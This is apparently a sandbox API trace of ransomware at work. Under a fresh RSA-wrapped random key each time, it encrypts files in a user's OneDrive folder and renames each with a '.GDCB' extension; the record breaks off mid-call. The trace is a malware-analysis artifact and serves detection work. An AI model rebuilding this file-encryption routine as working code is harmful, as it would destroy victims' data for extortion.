[0199.990] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0199.992] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508a478) returned 1 [0199.992] CryptGetKeyParam (in: hKey=0x508a478, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.992] CryptEncrypt (in: hKey=0x508a478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0199.992] GetLastError () returned 0x0 [0199.992] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0199.992] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0199.994] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508a078) returned 1 [0199.994] CryptGetKeyParam (in: hKey=0x508a078, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0199.994] CryptEncrypt (in: hKey=0x508a078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0199.994] GetLastError () returned 0x0 [0199.994] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0199.994] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ElevatedAppWhite.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\elevatedappwhite.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0199.996] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0199.997] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0199.998] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x13cc, lpOverlapped=0x0) returned 1 [0200.077] VirtualAlloc (lpAddress=0x0, dwSize=0x13d0, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0200.082] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ElevatedAppWhite.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\elevatedappwhite.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ElevatedAppWhite.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\elevatedappwhite.png.gdcb")) returned 1 [0200.167] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0200.169] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.170] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.170] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0200.170] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0200.170] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0200.171] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.172] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.172] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0200.172] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0200.172] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0200.176] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508a7b8) returned 1 [0200.176] CryptGetKeyParam (in: hKey=0x508a7b8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.176] CryptEncrypt (in: hKey=0x508a7b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0200.176] GetLastError () returned 0x0 [0200.176] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0200.176] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0200.181] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508a838) returned 1 [0200.181] CryptGetKeyParam (in: hKey=0x508a838, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.181] CryptEncrypt (in: hKey=0x508a838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0200.181] GetLastError () returned 0x0 [0200.181] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0200.181] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\acmDismissIcon.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\acmdismissicon.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0200.184] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0200.186] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0200.187] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x8f1, lpOverlapped=0x0) returned 1 [0200.220] VirtualAlloc (lpAddress=0x0, dwSize=0x900, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0200.224] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\acmDismissIcon.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\acmdismissicon.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\acmDismissIcon.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\acmdismissicon.svg.gdcb")) returned 1 [0200.228] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0200.230] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.231] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.231] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0200.231] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0200.231] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0200.232] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.233] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.233] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0200.233] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0200.233] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0200.235] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508a8b8) returned 1 [0200.235] CryptGetKeyParam (in: hKey=0x508a8b8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.235] CryptEncrypt (in: hKey=0x508a8b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0200.235] GetLastError () returned 0x0 [0200.235] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0200.235] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0200.237] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508aab8) returned 1 [0200.237] CryptGetKeyParam (in: hKey=0x508aab8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.237] CryptEncrypt (in: hKey=0x508aab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0200.237] GetLastError () returned 0x0 [0200.237] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0200.237] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\blurrect.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\blurrect.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0200.239] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0200.240] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0200.241] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x540, lpOverlapped=0x0) returned 1 [0200.248] VirtualAlloc (lpAddress=0x0, dwSize=0x540, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0200.252] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\blurrect.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\blurrect.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\blurrect.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\blurrect.png.gdcb")) returned 1 [0200.257] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0200.260] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.261] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.261] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0200.261] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0200.261] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0200.262] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.264] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.264] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0200.264] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0200.264] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0200.267] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508a978) returned 1 [0200.267] CryptGetKeyParam (in: hKey=0x508a978, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.267] CryptEncrypt (in: hKey=0x508a978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0200.267] GetLastError () returned 0x0 [0200.267] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0200.267] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0200.270] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508a9f8) returned 1 [0200.270] CryptGetKeyParam (in: hKey=0x508a9f8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.270] CryptEncrypt (in: hKey=0x508a9f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0200.271] GetLastError () returned 0x0 [0200.271] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0200.271] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\checkmark_finished.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\checkmark_finished.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0200.273] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0200.275] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0200.276] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0xd3, lpOverlapped=0x0) returned 1 [0200.286] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0200.335] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\checkmark_finished.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\checkmark_finished.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\checkmark_finished.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\checkmark_finished.svg.gdcb")) returned 1 [0200.339] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0200.341] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.341] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.341] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0200.341] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0200.341] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0200.343] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.344] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.344] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0200.344] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0200.344] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0200.346] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508ad78) returned 1 [0200.346] CryptGetKeyParam (in: hKey=0x508ad78, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.346] CryptEncrypt (in: hKey=0x508ad78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0200.346] GetLastError () returned 0x0 [0200.346] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0200.346] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0200.348] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508aeb8) returned 1 [0200.348] CryptGetKeyParam (in: hKey=0x508aeb8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.348] CryptEncrypt (in: hKey=0x508aeb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0200.348] GetLastError () returned 0x0 [0200.348] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0200.349] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\checkmark_hovered.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\checkmark_hovered.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0200.350] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0200.351] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0200.352] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x186, lpOverlapped=0x0) returned 1 [0200.362] VirtualAlloc (lpAddress=0x0, dwSize=0x190, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0200.371] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\checkmark_hovered.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\checkmark_hovered.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\checkmark_hovered.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\checkmark_hovered.svg.gdcb")) returned 1 [0200.375] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0200.376] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.380] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.380] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0200.380] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0200.380] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0200.382] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.383] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.383] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0200.383] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0200.383] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0200.385] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508a9b8) returned 1 [0200.385] CryptGetKeyParam (in: hKey=0x508a9b8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.385] CryptEncrypt (in: hKey=0x508a9b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0200.385] GetLastError () returned 0x0 [0200.385] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0200.385] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, 